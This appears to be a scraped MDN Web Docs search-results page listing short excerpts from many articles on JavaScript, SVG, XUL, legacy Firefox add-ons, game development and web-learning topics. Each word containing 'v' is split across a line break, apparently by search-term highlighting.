Iterators and generators - JavaScript
« pre
viousnext » processing each of the items in a collection is a very common operation.
... javascript pro
vides a number of ways of iterating over a collection, from simple for loops to map() and filter().
... iterators and generators bring the concept of iteration directly into the core language and pro
vide a mechanism for customizing the beha
vior of for...of loops.
...And 6 more matches
Meta programming - JavaScript
« pre
viousnext » starting with ecmascript 2015, javascript gains support for the proxy and reflect objects allowing you to intercept and define custom beha
vior for fundamental language operations (e.g.
... proxies introduced in ecmascript 6, proxy objects allow you to intercept certain operations and to implement custom beha
viors.
... traps the methods that pro
vide property access.
...And 6 more matches
Regular expressions - JavaScript
« pre
viousnext » regular expressions are patterns used to match character combinations in strings.
... creating a regular expression you construct a regular expression in one of two ways: using a regular expression literal, which consists of a pattern enclosed between slashes, as follows: let re = /ab+c/; regular expression literals pro
vide compilation of the regular expression when the script is loaded.
... or calling the constructor function of the regexp object, as follows: let re = new regexp('ab+c'); using the constructor function pro
vides runtime compilation of the regular expression.
...And 6 more matches
Array.prototype.forEach() - JavaScript
the foreach() method executes a pro
vided function once for each array element.
... description foreach() calls a pro
vided callback function once for each element in an array in ascending order.
...(for sparse arrays, see example below.) callback is invoked with three arguments: the value of the element the index of the element the array object being traversed if a thisarg parameter is pro
vided to foreach(), it will be used as callback's this value.
...And 6 more matches
Date.parse() - JavaScript
fall-back to implementation-specific date formats this section contains implementation-specific beha
vior that can be inconsistent across implementations.
... however, invalid values in date strings not recognized as simplified iso format as defined by ecma-262 may or may not result in nan, depending on the browser and values pro
vided, e.g.: // non-iso string with invalid date values new date('23/25/2014'); will be treated as a local date of 25 november, 2015 in firefox 30 and an invalid date in safari 7.
... other examples: new date('foo-bar 2014').tostring(); // returns: "invalid date" date.parse('foo-bar 2014'); // returns: nan differences in assumed time zone this section contains implementation-specific beha
vior that can be inconsistent across implementations.
...And 6 more matches
Function.prototype.apply() - JavaScript
the apply() method calls a function with a given this value, and arguments pro
vided as an array (or an array-like object).
... syntax func.apply(thisarg, [ argsarray]) parameters thisarg the value of this pro
vided for the call to func.
... argsarray optional an array-like object, specifying the arguments with which func should be called, or null or undefined if no arguments should be pro
vided to the function.
...And 6 more matches
WebAssembly.Table - JavaScript
we then print out the table length and contents of the two indexes (retrieved
via table.prototype.get() to show that the length is two and both elements are null.
... this example shows that we're creating and accessing the table from javascript, but the same table is
visible and callable inside the wasm instance too.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jstablechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox ...
...And 6 more matches
Iteration protocols - JavaScript
the iterable protocol the iterable protocol allows javascript objects to define or customize their iteration beha
vior, such as what values are looped over in a for...of construct.
... some built-in types are built-in iterables with a default iteration beha
vior, such as array or map, while other types (such as object) are not.
... in order to be iterable, an object must implement the @@iterator method, meaning that the object (or one of the objects up its prototype chain) must have a property with a @@iterator key which is available
via constant symbol.iterator: property value [symbol.iterator] a zero-argument function that returns an object, conforming to the iterator protocol.
...And 6 more matches
Handling media support issues in web content - Web media technologies
one of the realities of working with audio and
video presentation and manipulation on the web is that there are a number of media formats available, of varying degrees of popularity and with a variety of capabilities.
...there is a drawback, however: because there are so many to choose from, with so many different kinds of licenses and design principles involved, each web browser developer is left to its own de
vices when deciding which media file types and codecs to support.
...this guide covers techniques you can use to develop web content that meets your media needs while pro
viding the most broadly compatible experience possible.
...And 6 more matches
OpenSearch description format
<opensearchdescription xmlns="http://a9.com/-/spec/opensearch/1.1/" xmlns:moz="http://www.mozilla.org/2006/browser/search/"> <shortname>[snk]</shortname> <description>[search engine full name and summary]</description> <inputencoding>[utf-8]</inputencoding> <image width="16" height="16" type="image/x-icon">[https://example.com/fa
vicon.ico]</image> <url type="text/html" template="[searchurl]"> <param name="[key name]" value="{searchterms}"/> <!-- other params if you need them… --> <param name="[other key name]" value="[parameter value]"/> </url> <url type="application/x-suggestions+json" template="[suggestionurl]"/> <moz:searchform>[https://example.com/search]</moz:searchform> </opensearchdescription> ...
...when possible, include a 16×16 image of type image/x-icon (such as /fa
vicon.ico) and a 64×64 image of type image/jpeg or image/png.
...(you can generate a data: uri from an icon file at the data: uri kitchen.) <image height="16" width="16" type="image/x-icon">https://example.com/fa
vicon.ico</image> <!-- or --> <image height="16" width="16">data:image/x-icon;base64,aaabaaeaebaaa … daaa=</image> firefox caches the icon as a base64 data: uri (search plug-ins are stored in the profile's searchplugins/ folder).
...And 6 more matches
Performance budgets - Web Performance
their primary goal is to prevent regressions, but they can pro
vide insights to forecast trends (i.e.
... in order to begin, you need to first measure the de
vices and connection speeds where your users are coming from (e.g.
... a ~$200 android de
vice over a 3g connection), using multiple tools.
...And 6 more matches
refX - SVG: Scalable Vector Graphics
value <length-percentage> | <number> | left | center | right default value 0 animatable yes <length-percentage> lengths are interpreted as being in the coordinate system of the marker contents, after application of the
viewbox and preserveaspectratio attributes.
... percentage values are interpreted as being a percentage of the
viewbox width.
... <number> numbers are interpreted as being in the coordinate system of the marker contents, after application of the
viewbox and preserveaspectratio attributes.
...And 6 more matches
refY - SVG: Scalable Vector Graphics
value <length-percentage> | <number> | top | center | bottom default value 0 animatable yes <length-percentage> lengths are interpreted as being in the coordinate system of the marker contents, after application of the
viewbox and preserveaspectratio attributes.
... percentage values are interpreted as being a percentage of the
viewbox height.
... <number> numbers are interpreted as being in the coordinate system of the marker contents, after application of the
viewbox and preserveaspectratio attributes.
...And 6 more matches
x - SVG: Scalable Vector Graphics
mentmap>, <fedropshadow>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg
viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <rect x="20" y="20" width="60" height="60" /> <rect x="120" y="20" width="60" height="60" /> <rect x="220" y="20" width="60" height="60" /> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value <length> | <percentage> default value -10% animatable yes foreignobject for <foreignobject>, x defines the x coordinate of the uper left corner of its
viewport.
... value <number> default value 0 for the first glyphref, and the end x coordinate of the pre
vious <glyphref> for all subsequent sibling <glyphref>.
...And 6 more matches
Introduction - SVG: Scalable Vector Graphics
« pre
viousnext » svg is an xml language, similar to xhtml, which can be used to draw vector graphics, such as the ones shown to the right.
...svg does offer benefits, some of which include ha
ving a dom interface available for it, and not requiring third-party extensions.
... basic ingredients html pro
vides elements for defining headers, paragraphs, tables, and so on.
...And 6 more matches
Types of attacks - Web security
this code is executed by the
victims and lets the attackers bypass access controls and impersonate users.
...the variety of attacks based on xss is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the
victim to a webpage controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.
...the
victim then retrieves this malicious script from the server when the browser sends a request for data.
...And 6 more matches
Using custom elements - Web Components
one of the key features of the web components standard is the ability to create custom elements that encapsulate your functionality on an html page, rather than ha
ving to make do with a long, nested batch of elements that together pro
vide a custom page feature.
... high-level
view the controller of custom elements on a web document is the customelementregistry object — this object allows you to register a custom element on the page, return information on what custom elements are registered, etc.
...this takes as its arguments: a domstring representing the name you are gi
ving to the element.
...And 6 more matches
page-mod - Archive of obsolete content
for example, the following add-on displays an alert whenever the user
visits any page hosted at "mozilla.org": var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscript: 'window.alert("page matches ruleset");' }); you can modify the document in your script: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); you can s...
...this makes your code easier to maintain, secure, debug and re
view.
... the pagemod constructor takes a number of other options to control its beha
vior: contentstyle lists stylesheets to attach, supplied as strings.
...And 5 more matches
dev/panel - Archive of obsolete content
we're working on remo
ving this restriction.
...indi
vidual built-in tools, such as the javascript debugger or the web console, occupy "panels" in the toolbox.
... with the dev/panel module, you can create your own panels in the toolbox: the panel gets a tab in the toolbox toolbar which enables the user to open it: you specify the panel's content and beha
vior using html, css, and javascript.
...And 5 more matches
loader/sandbox - Archive of obsolete content
usage create a sandbox to create a sandbox: const { sandbox, evaluate, load } = require("sdk/loader/sandbox"); let scope = sandbox('http://example.com'); the argument passed to the sandbox defines its pri
vileges.
... the argument may be: a url string, in which case the sandbox will get the same pri
vileges as a script loaded from that url a dom window object, to inherit pri
vileges from the window being passed.
... omitted or null: then the sandbox will have chrome pri
vileges gi
ving it access to all the xpcom components.
...And 5 more matches
places/bookmarks - Archive of obsolete content
save(bookmarks).on("data", function (saved, input) { // a data event is called once for each item saved, as well // as implicit items, like `group` console.log(input === group || ~bookmarks.indexof(input)); // true }).on("end", function (saves, inputs) { // like the pre
vious example, the "end" event returns an // array of all of our updated saves.
... functions save(bookmarkitems, options) creating, sa
ving, and deleting bookmarks are all done with the save() function.
... updating items: for an item referenced from a pre
vious save() or from the result of a search() query, changing the properties and calling save() will update the item on the server.
...And 5 more matches
jpm - Archive of obsolete content
or, if you have a package manager like apt, install npm
via that.
...if -o is specified and path is omitted, jpm looks for the jetpack_root en
vironment variable and use its value as the path.
...if -o is specified and path is omitted, jpm will look for the jetpack_root en
vironment variable and use its value as the path.
...And 5 more matches
Examples and demos from articles - Archive of obsolete content
[article] image pre
view before upload [html] the filereader.prototype.readasdataurl() method is useful, for example, to get a pre
view of an image before uploading it.
...for a full compatibility code, see also our crossbrowser possible solution for image pre
view.
....[article] pure-css web gallery based on the :hover pseudoclass [zip] you can use the :hover pseudo-class in order to build an image gallery with full-size images shown only when mouse goes over pre
views.
...And 5 more matches
Sidebar - Archive of obsolete content
this page pro
vides several snippets demonstrating how to work with the firefox sidebar.
... opening and closing the sidebar firefox pro
vides a built-in sidebarui object function defined in browser-sidebar.js.
... // toggle the bookmarks sidebar (close it if it's open or // open it if it's currently closed) sidebarui.toggle("
viewbookmarkssidebar"); // show the history sidebar, whether it's hidden or already showing sidebarui.show("
viewhistorysidebar"); // hide the sidebar, if one is showing sidebarui.hide(); avoid opening the sidebar on startup.
...And 5 more matches
Useful Mozilla Community Sites - Archive of obsolete content
« pre
vious the mozilla community is very rich and active.
...amo has a re
view process that prevents malicious, insecure or low quality extensions to make it to the public site.
... your extension begins in a sandbox with limited access, and once you nominate it an editor will re
view it and see if it is appropriate for the public amo site, where everyone can see it and install it.
...And 5 more matches
Add-ons - Archive of obsolete content
for complex extensions, it may be necessary to create components in c++ that pro
vide additional functionality.
... extension packaging extensions are packaged in a form of installable bundle which can be downloaded and installed by a user, or pro
vided pre-packaged with an application or by an external program.
... extensions use a directory structure which can pro
vide chrome, components, and other files to extend the functionality of an xul program.
...And 5 more matches
Adding preferences to an extension - Archive of obsolete content
« pre
viousnext » this article takes the creating a dynamic status bar extension sample to the next level, adding a popup menu that lets you quickly switch between multiple stocks to watch.
... as before, concepts covered in the pre
vious articles in this series won't be rehashed here, so if you haven't already seen them: creating a status bar extension creating a dynamic status bar extension also, for reference, you may want to take a look at preferences system and the preferences api.
... var stockwatcher = { prefs: null, tickersymbol: "", // initialize the extension startup: function() { // register to receive notifications of preference changes this.prefs = components.classes["@mozilla.org/preferences-ser
vice;1"] .getser
vice(components.interfaces.nsiprefser
vice) .getbranch("extensions.stockwatcher2."); this.prefs.addobserver("", this, false); this.tickersymbol = this.prefs.getcharpref("symbol").touppercase(); this.refreshinformation(); window.setinterval(this.refreshinformation, 10*60*1000); } }, our object has two member variables.
...And 5 more matches
Localizing an extension - Archive of obsolete content
« pre
viousnext » this article expands upon the pre
vious samples on extension writing by adding localization support to our stock watcher extension.
... performing a few simple steps makes your extension much easier to localize into various languages without ha
ving to edit the xul or javascript files themselves.
... if you haven't already created an extension, or would like to refresh your memory, take a look at the pre
vious articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension.
...And 5 more matches
No Proxy For configuration - Archive of obsolete content
abstract this document pro
vides a comprehensive discussion of the manual proxy feature "no proxy for:", including configuration issues, testing and bugs.
... over
view as browsers rapidly grew in popularity in the mid-90's, many network administrators added proxy servers.
...many networks had limited access to the public network
via proxy servers.
...And 5 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
an extension package usually contains a "content" pro
vider, which contains the xul code and application logic.
...most additions are pro
vided with a default tree structure, although not required it is recommended to use this structure.
...the sidebar here is added to the
view | sidebar menu.
...And 5 more matches
Plug-n-Hack Phase1 - Archive of obsolete content
security tool manifest to support pnh-1 security tools pro
vide a manifest over http(s) which defines the capabilities that the browser can make use of.
... the tool configures itself by ser
ving an html document (we’ll call this the configuration document) to the browser.
... configuresectoolactivated - this notifies the document that pnh support (perhaps pre
viously unavailable, e.g.
...And 5 more matches
The new nsString class implementation (1999) - Archive of obsolete content
no one has ever de
vised one that more than 2 programmers can agree on.
...mplementation are: class based -- making it unsuitable for cross-dll usage due to fragility little intrinsic i18n support few efficiencies, notably a lack of support for narrow (1-byte) character strings no support for external memory management policy lack of xpcom interface notable features of the new nsstrimpl implementation are: intrinsic support for 1 and 2 byte character widths pro
vides automatic conversion between strings with different character sizes in
violate base structure eliminates class fragility problem; safe across dll boundaries offers c-style function api to manipulate nsstrimpl offers simple memory allocator api for specialized memory policy shares binary format with bstring coming soon: a new xpcom (nsistring) interface non-templatized; this is a requireme...
...nsautostring we still offer an nsautostring that pro
vides its own stack based buffer.
...And 5 more matches
Venkman - Archive of obsolete content
it aims to pro
vide a powerful javascript debugging en
vironment for mozilla based browsers namely firefox, netscape 7.x/9.x and seamonkey.
...venkman has been pro
vided as part of the mozilla install distribution since october 2001, as well as an extension package in xpi format.
... documentation venkman introduction an over
view and some practical examples of using the javascript debugger in web development.
...And 5 more matches
Elements - Archive of obsolete content
please edit only if an actual beha
vior differs from the described one.
...</html:b><children/></content> </binding> </bindings> you can
view the result by opening helloworld.html in firefox.
... for clarity's sake, here's what the embedded xml in the pre
vious example looks like: <?xml version="1.0"?> <bindings id="xbltestbindings" xmlns="http://www.mozilla.org/xbl"> <binding id="xbltest"><content>pass</content></binding> </bindings> only css declarations pro
vide an easy way to attach bindings to any set of elements.
...And 5 more matches
Positioning - Archive of obsolete content
if a context menu was opened
via the keyboard only, the menu will appear at the top left corner of the document, or underneath the currently selected item if a list is focused.
... for a context menu, that is, a menu that is attached to an an element using the context attribute and opened
via context-clicking the mouse, the position attribute is ignored.
... for instance: <menupopup id="edititems" position="end_before"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> <label value="clipboard" popup="edititems"/> in this example, a menupopup is attached to a label
via the popup attribute, which will cause the popup to appear when the label is left-clicked.
...And 5 more matches
Template Logging - Archive of obsolete content
« pre
vious debugging problems with a template can be difficult as many problems are logic errors that are often not possible to determine automatically.
...fortunately, some debugging and logging support is pro
vided with templates that may help.
...for references, the value of the template's id and ref attributes are pro
vided in each logged message.
...And 5 more matches
Things I've tried to do with XUL - Archive of obsolete content
this means that creating any sort of
visual display (not necessarily "ui"; my use case is for creating a calendar time display) that sizes sanely when the user resizes the window is unfortunately very difficult.
...the closest i've gotten is to use a div instead of a box container: <html:div style="-moz-box-flex: 1; width: 100%; height: 100%;"> <box style="height: 30%" flex="1" style="background: green;"/> <box style="height: 20%" flex="1" style="background: green;"/> <box style="height: 50%" flex="1" style="background: green;"/> </html:div> using flex="3" flex="2" flex="5" would give the right display
visually for the empty boxes; however, flex only applies to how empty space is allocated.
...vlad: sure; the snippets assume that there's some enclosing structure that will pro
vide the actual height.
...And 5 more matches
Adding Event Handlers - Archive of obsolete content
« pre
viousnext » the find files dialog so far looks quite good.
...when an action occurs that would trigger an event, such as the user mo
ving the mouse, an event object is created corresponding to that event type.
...once the event has finished propagating, any default action will occur, which is the built in beha
viour of the element.
...And 5 more matches
Adding Style Sheets - Archive of obsolete content
« pre
viousnext » we have hardly modified the look of the elements we have created so far.
...other times, however, you will want to pro
vide a custom style sheet.
...if your xul file is stored remotely and accessed
via an http url, you can store the style sheet remotely as well.
...And 5 more matches
Box Model Details - Archive of obsolete content
« pre
viousnext » we've seen a lot of features of the box model.
...example 1 : source
view <hbox flex="1"> <button label="left" style="min-width: 100px;" flex="1"/> <spacer flex="1"/> <button label="right" style="min-width: 100px;" flex="1"/> </hbox> in the example above, all three elements will resize themselves as they are all flexible.
...the align attribute controls this beha
vior on a horizontal box.
...And 5 more matches
Input Controls - Archive of obsolete content
« pre
viousnext » xul has elements that are similar to the html form controls.
... the following example shows some textboxes: example 1 : source
view <label control="some-text" value="enter some text"/> <textbox id="some-text"/> <label control="some-password" value="enter a password"/> <textbox id="some-password" type="password" maxlength="8"/> multiline textbox the textbox examples above will create text inputs that can only be used for entering one line of text.
... example 2 : source
view <textbox multiline="true" value="this is some text that could wrap onto multiple lines."/> like the html textarea, you can use the rows and cols attributes to set the size.
...And 5 more matches
Introduction to XBL - Archive of obsolete content
« pre
viousnext » xul has a sister language, xbl (extensible bindings language).
... this language is used for declaring the beha
vior of xul widgets.
...however, xul pro
vides no means in which you can change how an element works (or add a new element which can be reused).
...And 5 more matches
Keyboard Shortcuts - Archive of obsolete content
« pre
viousnext » you could use keyboard event handlers to respond to the keyboard.
... creating a keyboard shortcut xul pro
vides methods in which you can define keyboard shortcuts.
... example 1 : source
view <menubar id="sample-menubar"> <menu id="file-menu" label="file" accesskey="f"> <menupopup id="file-popup"> <menuitem id="close-command" label="close" accesskey="c"/> </menupopup> </menu> </menubar> you can also use the accesskey attribute on buttons.
...And 5 more matches
More Button Features - Archive of obsolete content
« pre
viousnext » in this section, we will look at some additional features of buttons.
...example 1 : source
view <button label="help" image="happy.png"/> button with css image another way to specify the image is by using the css list-style-image style property on the button.
...example 2 : source
view <button id="find-button" label="find" style="list-style-image: url('happy.png')"/> in this case, the image 'happy.png' is displayed on the button.
...And 5 more matches
More Wizards - Archive of obsolete content
« pre
viousnext » this section describes some additional features of wizards.
... more complex wizard na
vigation normally, a wizard displays each wizardpage in the order that you place them in the xul file.
...then, to na
vigate to a page, use one of two methods: set the next attribute on each page to the page id of the next page to go to.
...And 5 more matches
editor - Archive of obsolete content
mozilla pro
vides two types of editors, the html editor and the plaintext editor.
... the editor does not pro
vide any editing user interface; you would supply that yourself.
... however, text editing, image resizing, and table row and cell editing capabilities are pro
vided.
...And 5 more matches
radiogroup - Archive of obsolete content
attributes disabled, focused, preference, tabindex, value properties accessibletype, disabled, focuseditem, itemcount, selectedindex, selecteditem, tabindex, value methods appenditem, checkadjacentelement, getindexofitem, getitematindex, insertitemat, removeitemat examples <radiogroup> <radio id="orange" label="red"/> <radio id="
violet" label="green" selected="true"/> <radio id="yellow" label="blue"/> </radiogroup> attributes disabled type: boolean indicates whether the element is disabled or not.
...
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...be aware, however, that some elements, such as textbox will display the value
visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...And 5 more matches
tabs - Archive of obsolete content
this feature is used by the tabbrowser to pro
vide the facilities for adding and closing tabs.
...
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
... setfocus type: boolean if true or omitted, the focus will be given to the first element in the corresponding tabpanel when the tabs are na
vigated
via the keyboard.
...And 5 more matches
XULRunner Hall of Fame - Archive of obsolete content
xulrunner is embedded to pro
vide automatic search against journal archives, automatic acquisition of bibtex information, and automatic downloading of pdfs.
... its goal is to pro
vide a tool like phantomjs, with the same api, except that it runs gecko instead of webkit, and it is not headless (but you can still use xvfb to have a headless slimerjs).
... websecurify web application security testing en
vironment.
...And 5 more matches
2006-11-17 - Archive of obsolete content
there are also some perl code pro
vided in this link.
... how to get re
view for work-in-progress patch?
... answer: cc whoever you need re
view from, but don't post a formal re
view.
...And 5 more matches
2006-10-20 - Archive of obsolete content
jeff pro
vided this link as an answer to christopher finkes' question.
... he has already "studied" the makefiles but has had no success in achie
ving his goal.
...he also added that the linux performance test data is now being pro
vided by bl-bldlnx01.
...And 5 more matches
NPAPI plugin reference - Archive of obsolete content
browser-side plug-in api this chapter describes methods in the plug-in api that are pro
vided by the browser; these allow call back to the browser to request information, tell the browser to repaint part of the window, and so forth.
... np_initialize pro
vides global initialization for a plug-in.
... np_shutdown pro
vides global deinitialization for a plug-in.
...And 5 more matches
Encryption and Decryption - Archive of obsolete content
with most modern cryptography, the ability to keep encrypted information secret is based not on the cryptographic algorithm, which is widely known, but on a number called a key that must be used with the algorithm to produce an encrypted result or to decrypt pre
viously encrypted information.
... symmetric-key encryption public-key encryption key length and encryption strength symmetric-key encryption with symmetric-key encryption, the encryption key can be calculated from the decryption key and
vice versa.
...symmetric-key encryption also pro
vides a degree of authentication, since information encrypted with one symmetric key cannot be decrypted with any other symmetric key.
...And 5 more matches
Using workers in extensions - Archive of obsolete content
« pre
vious this article shows you how to use worker threads in extensions to perform tasks in the background without blocking the user interface.
... if you haven't already created an extension, or would like to refresh your memory, take a look at the pre
vious articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension updating an extension to support multiple mozilla applications download the sample you may download the complete example: download the example.
... how this differs from pre
vious versions this version of the stock ticker extension moves the xmlhttprequest call that fetches updated stock information into a worker thread, which then passes that information back to the main body of the extension's code to update the display in the status bar.
...And 5 more matches
New in JavaScript 1.1 - Archive of obsolete content
the following is a changelog for javascript from netscape na
vigator 2.0 to 3.0.
...netscape na
vigator 3.0 was released on august 19, 1996.
... netscape na
vigator 3.0 was the second major version of the browser with javascript support.
...And 5 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
} //]]> </script> examples using css rules in inline style within comments example 1 - xhtml 1.0 strict as text/html this example illustrates the beha
vior of xhtml served as text/html when css rules are contained inline and surrounded by comments.
... example 2 - xhtml 1.0 strict as text/xml this example illustrates the beha
vior of xhtml served as text/xml when css rules are contained inline and surrounded by comments.
... example 3 - xhtml 1.0 strict as application/xhtml+xml this example illustrates the beha
vior of xhtml served as application/xhtml+xml when css rules are contained inline and surrounded by comments.
...And 5 more matches
XForms Custom Controls - Archive of obsolete content
why do you need this you will probably find that your need for customization will fall into one of the following categories: custom presentation - xforms controls as rendered by the mozilla xforms processor do not pro
vide the right look and feel for you.
...introducing custom controls into your en
vironment may be just the solution you are looking for.
... for example, you might want to render images that are held inside an instance document or you would like to show a disabled trigger when its bound node becomes irrelevant rather than ha
ving it not display (the current default beha
vior).
...And 5 more matches
XForms Switch Module - Archive of obsolete content
the toggle element is an action that when triggered will make a case selected and
visible and thereby hiding all other case elements contained by the same switch.
...however, ha
ving a relevant model item property on the bound node has an effect on a switch.
...representations the switch element doesn't have a
visual representation.
...And 5 more matches
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
this innovation, first introduced by microsoft® internet explorer and later adopted into the css specification, is very popular for the styling of text links, particularly those that are supposed to look and act like javascript-driven "rollovers." however, advancing css support in browsers has caused some unexpectedly aggressive hovering beha
vior on some pages.
...scripting may change whether elements react to user events or not, and different de
vices and uas may have different ways of pointing to, or activating elements.
... gecko beha
vior in browsers based on netscape gecko builds later than 20020410 (netscape 6.1+), :hover styles can be applied to any element in a document.
...And 5 more matches
3D games on the Web - Game development
webgl is basically an opengl es 2.0 for the web — it's a javascript api pro
viding tools to build rich interactive animations and of course, also games.
...the main browsers are all supporting webgl and all you need to focus on is optimizing the performance on the de
vices you use.
...there are some advanced concepts which you should dive into and learn more about — like shaders, collision detection, or the latest hot topic:
virtual reality on the web.
...And 5 more matches
Square tilemaps implementation: Scrolling maps - Game development
note: when writing this article, we assumed pre
vious reader knowledge of canvas basics such as how get a 2d canvas context, load images, etc., which is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
...cameras can either be free-form, controlled by the player (such as in strategy games) or follow an object (such as the main character in platform games.) regardless of the type of camera, we would always need information regarding its current position,
viewport size, etc.
... in the demo pro
vided along with this article, these are the parameters the camera has: x and y: the current position of the camera.
...And 5 more matches
Extra lives - Game development
« pre
viousnext » this is the 13th step out of 16 of the gamedev phaser tutorial.
...s below the existing scoretext definition inside your create() function: livestext = game.add.text(game.world.width-5, 5, 'lives: '+lives, { font: '18px arial', fill: '#0095dd' }); livestext.anchor.set(1,0); lifelosttext = game.add.text(game.world.width*0.5, game.world.height*0.5, 'life lost, click to continue', { font: '18px arial', fill: '#0095dd' }); lifelosttext.anchor.set(0.5); lifelosttext.
visible = false; the livestext and lifelosttext objects look very similar to the scoretext one — they define a position on the screen, the actual text to display, and the font styling.
... the lifelosttext will be shown only when the life is lost, so its
visibility is initially set to false.
...And 5 more matches
Physics - Game development
« pre
viousnext » this is the 5th step out of 16 of the gamedev phaser tutorial.
...add the following line, again at the bottom of create(): ball.body.velocity.set(150, 150); remo
ving our pre
vious update instructions remember to remove our old method of adding values to x and y from the update() function: function update() { ball.x += 1; ball.y += 1; } we are now handling this properly, with a physics engine.
...ically = true; game.stage.backgroundcolor = '#eee'; game.load.image('ball', 'img/ball.png'); } function create() { game.physics.startsystem(phaser.physics.arcade); ball = game.add.sprite(50, 50, 'ball'); game.physics.enable(ball, phaser.physics.arcade); ball.body.velocity.set(150, 150); } function update() { } try reloading index.html again — the ball should now be mo
ving constantly in the given direction.
...And 5 more matches
Assessment: Accessibility troubleshooting - Learn web development
pre
vious over
view: accessibility in the assessment for this module, we present to you a simple site with a number of accessibility issues that you need to diagnose and fix.
... prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of the pre
vious articles in the course.
... semantic html the content is still not very accessible — report on what happens when you try to na
vigate it using a screenreader.
...And 5 more matches
Normal Flow - Learn web development
pre
vious over
view: css layout next this article explains normal flow, or the way that webpage elements lay themselves out if you have not changed their layout.
...and, as we began to discover, you can change how elements behave either by adjusting their position in that normal flow, or remo
ving them from it altogether.
...it ensures that your content is readable, even if the user is using a very limited browser or a de
vice such as a screen reader that reads out the content of the page.
...And 5 more matches
CSS FAQ - Learn web development
classes allow you to style multiple elements, therefore they can lead to shorter stylesheets, rather than ha
ving to write out the same styling information in multiple rules that use id selectors.
... initially css didn't pro
vide a "default" keyword and the only way to restore the default value of a property is to explicitly re-declare that property.
...however, assigning multiple classes to a single element can pro
vide the same effect, and css variables now pro
vide a way to define style information in one place that can be reused in multiple places.
...And 5 more matches
create fancy boxes - Learn web development
but beyond the technics its also all about unleashing your creati
vity.
... it will not be done in one day, and some web developers spend their whole life ha
ving fun with it.
...it starts to get interesting when you push the properties to the limit by ha
ving negative padding and/or- margin by ha
ving border-radius larger than the actual size of the box.
...And 5 more matches
How to structure a web form - Learn web development
pre
vious over
view: forms next with the basics out of the way, we'll now look in more detail at the elements used to pro
vide structure and meaning to the different parts of a form.
... the <form> element the <form> element formally defines a form and attributes that determine the form's beha
vior.
... we already met this in the pre
vious article.
...And 5 more matches
Sending forms through JavaScript - Learn web development
but forms can also prepare an http request to send
via javascript, for example
via xmlhttprequest.
... gaining control of the global interface standard html form submission, as described in the pre
vious article, loads the url where the data was sent, which means the browser window na
vigates with a full page load.
... avoiding a full page load can pro
vide a smoother experience by avoiding network lag, and possible
visual issues like flickering.
...And 5 more matches
CSS basics - Learn web development
pre
vious over
view: getting started with the web next css (cascading style sheets) is the code that styles web content.
...(the term ruleset is often referred to as just rule.) note the names of the indi
vidual parts: selector this is the html element name at the start of the ruleset.
... first, find the output from google fonts that you pre
viously saved from what will your website look like?.
...And 5 more matches
Installing basic software - Learn web development
over
view: getting started with the web next in installing basic software, we show you what tools you need to do simple web development and how to install them properly.
...maybe that sounds ob
vious to some people, but some of you are reading this article on your phone or a library computer.
...
visual studio code, notepad++, sublime text, atom, gnu emacs, or
vim), or a hybrid editor (e.g.
...And 5 more matches
Structuring a page of content - Learn web development
pre
vious over
view: introduction to html structuring a page of content ready for laying it out using css is a very important skill to master, so in this assessment you'll be tested on your ability to think about how a page might end up looking, and choose appropriate structural semantics to build a layout on top of.
...it needs to have: a header spanning the full width of the site containing the main title for the page, the site logo, and the na
vigation menu.
... the title and logo appear side by side once styling is applied, and the na
vigation appears below those two items.
...And 5 more matches
Introduction to HTML - Learn web development
a na
vigation menu?), and embed content such as images and
videos into a page.
... get started prerequisites before starting this module, you don't need any pre
vious html knowledge, but you should have at least basic familiarity with using computers and using the web passively (i.e., just looking at it and consuming content).
... you should have a basic work en
vironment set up (as detailed in installing basic software), and understand how to create and manage files (as detailed in dealing with files).
...And 5 more matches
Web performance - Learn web development
it would also be helpful to go a bit deeper into these topics, with modules such as: introduction to html css first steps javascript first steps once you've worked through this module, you'll probably be excited to go deeper into web performance — you can find a lot of further teachings in our main mdn web performance section, including over
views of performance apis, testing and analysis tools, and performance bottleneck gotchas.
...this article introduces the components of performance, from web page loading and rendering, including how your content makes it into your users browser to be
viewed, to what groups of people we need to consider when thinking about performance, how do users perceive performance?
...ser
ving different media files based on each user agent's capability, size, and pixel density is possible.
...And 5 more matches
Cross browser testing - Learn web development
what users, browsers, and de
vices do you most need to worry about?), how to go about doing testing, the main issues that you'll face with different types of code and how to mitigate them, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing.
... guides introduction to cross browser testing this article starts the module off by pro
viding an over
